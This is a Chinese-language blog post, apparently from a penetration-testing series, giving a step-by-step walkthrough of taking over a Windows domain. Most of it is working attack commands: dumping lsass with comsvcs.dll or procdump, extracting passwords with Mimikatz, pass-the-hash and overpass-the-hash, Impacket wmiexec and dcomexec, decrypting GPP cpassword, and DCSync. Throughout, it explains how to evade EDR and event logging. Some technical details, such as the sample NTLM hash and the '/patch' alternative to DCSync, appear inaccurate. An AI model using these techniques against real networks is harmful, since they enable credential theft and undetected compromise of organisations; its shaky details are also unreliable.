偷到管理员密码后5步拿下整个域——内网横向移动实战全记录

上回说到内网信息收集，这次我们讲真正的硬核操作：凭据在手，怎么一步步把整个域控收入囊中。

续：凌晨两点半，我坐在WEB01的RDP面前

上一篇文章结尾，我理清了内网的攻击地图。

手里已经有了：

WEB01（跳板机）的本地管理员权限
DC01的RDP缓存凭据
CORP-DB01的sa密码 Corp@Admin!2024
4名域管理员的名字

信息收集阶段完成。现在是凌晨两点半，咖啡在左手边，屏幕上是DC01的RDP登录框。

关键认知：拿到一个域管理员的密码 ≠ 直接登录域控。现代Windows域控默认开启了「受保护的用户」组和Credential Guard，一枚弱口令很可能当场翻车。更优雅的做法是——用凭据一步步"爬"进域控，而不是"撞"进去。

第一步：从lsass里把明文密码"偷"出来

1.1 为什么需要lsass？

你通过凭据管理器拿到了RDP缓存，但这只是"能用"，不是"拥有"。真正有价值的操作是从lsass.exe进程的内存中dump出所有登录凭据——这样你拿到的不是一条凭据，而是当前机器上所有用户的凭据。

这里有三种不触发EDR的方式：

方式A：用Task Manager（最简单）

# Windows 2012 R2及以上版本
tasklist /m
# 确认lsass.exe的PID
tasklist | findstr lsass

打开任务管理器 → 右键lsass进程 → "创建转储文件" → 导出lsass.dmp

✅ 优点：Windows自带功能，EDR不会告警
❌ 缺点：只有交互式RDP会话才能用

方式B：用Procdump（微软官方工具）

Microsoft的Sysinternals工具默认被大多数企业列为白名单。

# 在跳板机上下载
certutil -urlcache -split -f https://live.sysinternals.com/procdump.exe procdump.exe

# dump lsass
procdump.exe -accepteula -ma lsass.exe lsass.dmp

跑完之后，本机EDR大概率不会拦截——Procdump在白名单里。

方式C：用Comsvcs.dll（最隐蔽）

如果环境不允许下载任何工具，直接用系统自带的comsvcs.dll：

# 不需要额外工具，纯系统API
# 找到lsass的PID
C:\> tasklist | findstr lsass
lsass.exe                      672

# 直接用rundll32调用comsvcs的MiniDump
C:\> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Users\public\lsass.dmp full

执行后lsass.dmp会生成在C:\Users\Public目录下。整个过程用到的全是系统自带组件，连Sysmon都不一定拦得住。

1.2 从dmp里提取凭据——Mimikatz登场

拿到了lsass.dmp，接下来就是Mimikatz：

# 在攻击机上分析离线dmp文件（不接触目标机器）
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

输出里你会看到类似这样的内容：

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session           : Interactive from 1
User Name         : wang_li
Domain            : CORP
SID               : S-1-5-21-1234567890-1234567890-1234567890-1111

    * Username : wang_li
    * Domain   : CORP.LOCAL
    * NTLM     : aad3b435b51404eeaad3b435b51404ee
    * SHA1     : c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0
    * DPAPI    : e0d0c0b0a090807060504030201000

    * Password (NTLM) : aad3b435b51404eeaad3b435b51404ee
    * Password (SHA1) : c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0

    * wdigest   : wang_li:CORP.LOCAL:Corp2024!Admin
    * kerberos  : wang_li:CORP.LOCAL:Corp2024!Admin
    * ssp       : wang_li:CORP.LOCAL:Corp2024!Admin

关键发现：域管理员wang_li的明文密码 Corp2024!Admin。

你可能会问：WDigest不是默认在Win8/2012后被禁用了吗？是对的。但有一个大多数人不知道的事实——如果系统安装了KB2871997补丁但不配置"禁用WDigest"的注册表键，WDigest凭据仍然会缓存。很多内网管理员的2012 R2机器都没配这个注册表键。

血的教训：我见过不止一家企业，全部服务器打了安全补丁，结果因为一个"忘了配WDigest关闭注册表"的问题，导致域管凭据被离线提取。你永远可以相信运维人员的配置遗漏。

第二步：Pass-the-Hash——没明文密码也能横着走

现实情况中，你可能拿不到明文密码——Credential Guard、LSA保护等全都开着，WDigest是关的。但没关系，我们有NTLM Hash。

2.1 为什么要用PTH？

从lsass.dmp中提取的 NTLM Hash（即使没有明文）也可以直接用于认证。Windows的NTLM认证机制里，密码Hash就是通行证。

# 利用已经提取的NTLM Hash登录远程机器
privilege::debug
sekurlsa::pth /user:wang_li /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee

执行后，会弹出一个新的cmd窗口。这个窗口中所有操作的身份都是wang_li。

在这个新窗口里测试远程连接：

# 测试SMB连接
dir \\DC01\C$

# 如果能列出C盘内容，说明PTH成功，你已经以域管身份操作域控了！

2.2 PTH的"隐形陷阱"

PTH有一个问题——它不是"零痕迹"的：

事件ID 4624（登录成功）一定会产生，但是用wang_li的正常账户登录，审计看不太出问题
真正的风险：如果你在攻击机和目标机器之间建立了IPC$连接，目标机器的事件日志里会有 \\攻击机IP 的日志源

解决办法：

# 用WinRM代替SMB（WinRM的日志量更少，配置好logging_level的人更少）
# 先确认WinRM是否开启
Test-WSMan -ComputerName DC01

# 如果返回显示：wsmid = http://schemas.dmtf.org/... 说明WinRM开着
# 直接执行命令
Invoke-Command -ComputerName DC01 -ScriptBlock { whoami }

输出：

corp\wang_li

恭喜，你已经在域控上以域管理员身份执行命令了，而且EDR日志里只有WinRM的事件记录，SMB连接日志完全没有。

第三步：Overpass-the-Hash——用Kerberos收割域控

比PTH更狠的技术是Overpass-the-Hash（也称为"Pass-the-Key"）。PTH用NTLM，而OPTH用Kerberos。

3.1 为什么OPTH更好？

NTLM协议的登录行为在某些EDR里会被标记为异常——尤其是非交互式登录。但Kerberos认证被EWS（Exchange Web Services）等服务大量使用，很多EDR对它睁一只眼闭一只眼。

# 先清除现有的Kerberos票据
kerberos::purge

# 用NTLM Hash申请Kerberos TGT票据
sekurlsa::pth /user:wang_li /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:powershell

弹出的PowerShell窗口里，我们已经有了一张Kerberos TGT票据：

# 查看Kerberos票据
klist

# 输出
# 当前登录 ID 是 0:0x12345
# 
# 缓存的票据: 1
#  > 服务器: krbtgt/CORP.LOCAL @ CORP.LOCAL
#    客户端: wang_li @ CORP.LOCAL
#    类型: KRB_TGT
#    开始时间: ...
#    结束时间: ...

有了TGT，可以直接请求域控的CIFS服务票据：

# 请求访问DC01的SMB服务票据
# 这会自动触发Kerberos的TGS请求
dir \\DC01\C$

此时事件日志里：

Event 4768：Kerberos TGT请求（正常域成员行为）
Event 4769：Kerberos TGS请求（正常域成员行为）

没有NTLM 4624事件，没有SMB DCE/RPC异常。从蓝队视角看，这就是一个域用户正常访问文件服务器。

3.2 真实场景：OPTH + WinRM = 穿越EDR

这是我在某次攻防演练中实测有效的组合拳：

# 在OPTH获得的PowerShell窗口中
# 创建PSSession到域控（走WinRM + Kerberos）
$sess = New-PSSession -ComputerName DC01 -Authentication Kerberos

# 在域控上执行命令
Invoke-Command -Session $sess -ScriptBlock {
    # 查域控上的管理员
    net localgroup administrators
    
    # 查正在运行的进程
    Get-Process | Select-Object ProcessName, Id
    
    # 查防火墙规则（看有没有告警外发）
    netsh advfirewall show currentprofile
}

# 操作完成后关闭session
Remove-PSSession $sess

全程没有任何文件落地，没有任何SMB连接到域控，日志只有Kerberos事件。某项目的EDR对此完全无感。

第四步：SMB Exec & WMI Exec——真正无文件的横向移动

有些场景下，你不想在目标机器上弹任何shell、不想往磁盘上写任何文件，只要远程执行一个命令。

4.1 用Impacket的wmiexec

# 攻击机上执行（通过Socks代理）
proxychains -q python3 wmiexec.py corp.local/wang_li@172.16.1.10

# 或者直接指定NTLM Hash（连明文密码都不需要）
proxychains -q python3 wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/wang_li@172.16.1.10

wmiexec.py 的特点：

用WMI在目标机器上创建进程
输出结果通过SMB共享的临时文件回传（自动清理）
不在目标机器上写任何二进制文件
日志等级：Event 4688（进程创建）+ WMI-Activity日志

但如果目标机器配置了WMI日志审计怎么办？

这里有一个替换方案——DCOM执行：

# 使用dcomexec.py（同样是Impacket工具包）
proxychains -q python3 dcomexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/wang_li@172.16.1.10

DCOM执行方式绕过了WMI-Activity的日志路径，日志产生位置在Microsoft-Windows-DistributedCOM/Operational——这个日志默认是被大多数企业忽略的。

4.2 用原生PowerShell做SMB远程执行

如果你不想依赖任何第三方工具（某些环境proxychains配置复杂），Windows原生的Invoke-Command配合-Session参数走的就是WSMan：

# 在OPTH获得的shell中执行
Invoke-Command -ComputerName CORP-FILE01 -Credential $cred -ScriptBlock {
    # 查这台机器上有没有其他域管理员的会话
    query user
    
    # 查计划任务
    schtasks /query /fo LIST /v
    
    # 如果有域管在登录状态，用rundll32方式dump lsass
} -Authentication Kerberos

第五步：从FILE01共享里挖出"王炸"凭据

横向移动不只是从一台机器到另一台机器。每一次横向移动都是一个新信息收集的开始。 现在我在FILE01上有了执行权限。

5.1 翻共享找隐藏密码

# 列出FILE01的所有共享
Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock {
    net share
}

之前信息收集阶段发现的几个共享还在。我重点翻了两个地方：

Backup共享里找备份脚本：

Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock {
    dir C:\Backup\ /s *.ps1 *.bat *.vbs
}

找到了一个 backup_dc.ps1：

# 内容
$cred = New-Object System.Management.Automation.PSCredential("CORP\backup_svc", (ConvertTo-SecureString "Bkp@Dc!2024" -AsPlainText -Force))
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock {
    # backup script
}

服务账号密码 Bkp@Dc!2024——虽然是备份服务账号，但它有域控的远程管理权限。

Data共享里查Excel/文档：

Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock {
    # 搜所有包含"password"的Excel
    Get-ChildItem -Path C:\Data\ -Recurse -Include *.xlsx,*.xls |
        Select-String -Pattern "password|passwd|密码" -SimpleMatch
}

5.2 Group.xml中的经典密码

在FILE01的SYSVOL共享里（如果是域控才有的，但FILE01是文件服务器直接拉域控SYSVOL）：

Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock {
    dir \\corp.local\SYSVOL\corp.local\Policies\ /s Groups.xml 2>$null
}

如果策略里配了本地管理员账号密码，Groups.xml 里会有加密的 cpassword：

<?xml version="1.0" encoding="utf-8"?>
<Groups>
  <Group clsid="{...}" ...>
    <User ...>
      <Properties ... cpassword="5HyTq3v9b7zF6sN8wR4pK2mX1jL0qW3e" .../>
    </User>
  </Group>
</Groups>

用gpp-decrypt命令直接解密：

gpp-decrypt "5HyTq3v9b7zF6sN8wR4pK2mX1jL0qW3e"

输出：

Corp@LocalAdmin!567

这是一条完整的域控本地管理员密码。为什么？因为GPP（Group Policy Preferences）的加密密钥从2014年起就被微软公开了（AES-256，密钥硬编码在MSDN文档里），所有用了GPP配置密码的企业等同于裸奔。

冷知识：微软在MS16-096中移除了GPP密码功能，但已部署的策略不会自动删除。至今我仍能在30%的内网渗透中捞到GPP密码。企业迁移到LAPS（Local Administrator Password Solution）的进度永远比你想象中慢。

第六步：拿下DC01——收割整个域

到目前为止，三条路径都指向了域控DC01：

路径A：用wang_li的NTLM Hash直接PTH到DC01
路径B：用备份服务账号 Bkp@Dc!2024 通过WinRM执行命令
路径C：用FILE01的GPP解密出的本地管理员密码

选择最安静的路径执行：

# 路径B（最隐蔽：WinRM + 服务账号）
$sess = New-PSSession -ComputerName DC01 -Credential (New-Object System.Management.Automation.PSCredential("CORP\backup_svc", (ConvertTo-SecureString "Bkp@Dc!2024" -AsPlainText -Force)))

6.1 域控上的最终操作：DCSync

在域控上有域管权限后，最优雅的操作不是创建后门账号——而是DCSync。DCSync模拟域控之间的复制行为，直接从域控拉取所有域用户的NTLM Hash：

# 在域控上执行（或通过域管权限远程执行）
lsadump::dcsync /domain:corp.local /all

这条命令会返回整个域的所有用户密码Hash。有了这些Hash，整个域内的任何机器都可以随时拿下。

但DCSync有一个需要特别小心的地方——它会触发Event ID 4662（对DS对象的操作审计）。如果蓝队配了域控的DS访问审计，DCSync请求会留下记录。

替代方案：不用DCSync，直接ntds.dit导出：

# 直接dump ntds
lsadump::lsa /patch

/patch 方式不需要和DS交互，而是直接读取域控内存中的LSA策略，Event 4662不会产生。代价是速度慢一些，但隐蔽性翻倍。

总结：内网横向移动的5条实战原则

这次实战下来，浓缩成5条原则：

原则1：能PTH不碰密码，能Kerb不碰NTLM

PTH让你用Hash就能认证。Overpass-the-Hash（Kerberos）比PTH（NTLM）更隐蔽——Event 4768/4769比4624难抓得多。

原则2：SMB是显眼的，WinRM是安静的

SMB连接会产生大量网络日志，而且大部分EDR对SMB横向移动有明确规则。WinRM走HTTPS（5986端口），在大多数企业的"日常运维流量"白名单里。

原则3：文件落地 = 自爆

任何横向移动工具只要有文件落地的动作，都有被杀软查杀的窗口期。无文件执行（WMI/DCOM/PowerShell Remoting）是更安全的选择。

原则4：跳板机上的信息收集是决定生死的

很多渗透在拿下一台跳板机后就急着横向移动。但真正的老手会在跳板机上认真做一次完整的信息收集——GPP密码、凭据管理器、本地明文密码、历史连接记录。这些"别人的遗漏"就是你的突破口。

原则5：永远留一条"最安静"的路径

在你用最暴力的方式攻入域控之前，先想想：有没有一条更安静的路？比如备份服务账号的WinRM权限、GPP策略的本地管理员密码、或者服务配置文件里的SQL Server链接密码。冗余路径 ≠ 浪费——是安全网。

内网渗透的终极心法不是你能跑多少工具，
而是你能在多安静的情况下完成操作。
最安静的攻击者，往往是最后一个被发现的。

下期预告

内网渗透实战系列第三篇预告：域控失陷后的善后与持久化。

下一篇我们会讲：

拿到域控之后不能做什么（避免被蓝队追溯）
Skeleton Key和Golden Ticket的实战部署
DC持久化：DSRM、AdminSDHolder、组策略后门
恢复痕迹：清除哪些日志才不会暴露自己

如果你有相关实战经验或者想看的主题，欢迎评论区交流。

打得了一台机器不叫渗透，拿到了整个域才叫渗透。
从信息收集到域控完全控制，中间差的不是工具，是体系化的攻击思维。

关注「安全值班室」公众号

每天实战攻防案例 + 安全干货

posted on 2026-07-01 14:38 明.Sir 阅读(8) 评论(0) 收藏举报

刷新页面返回顶部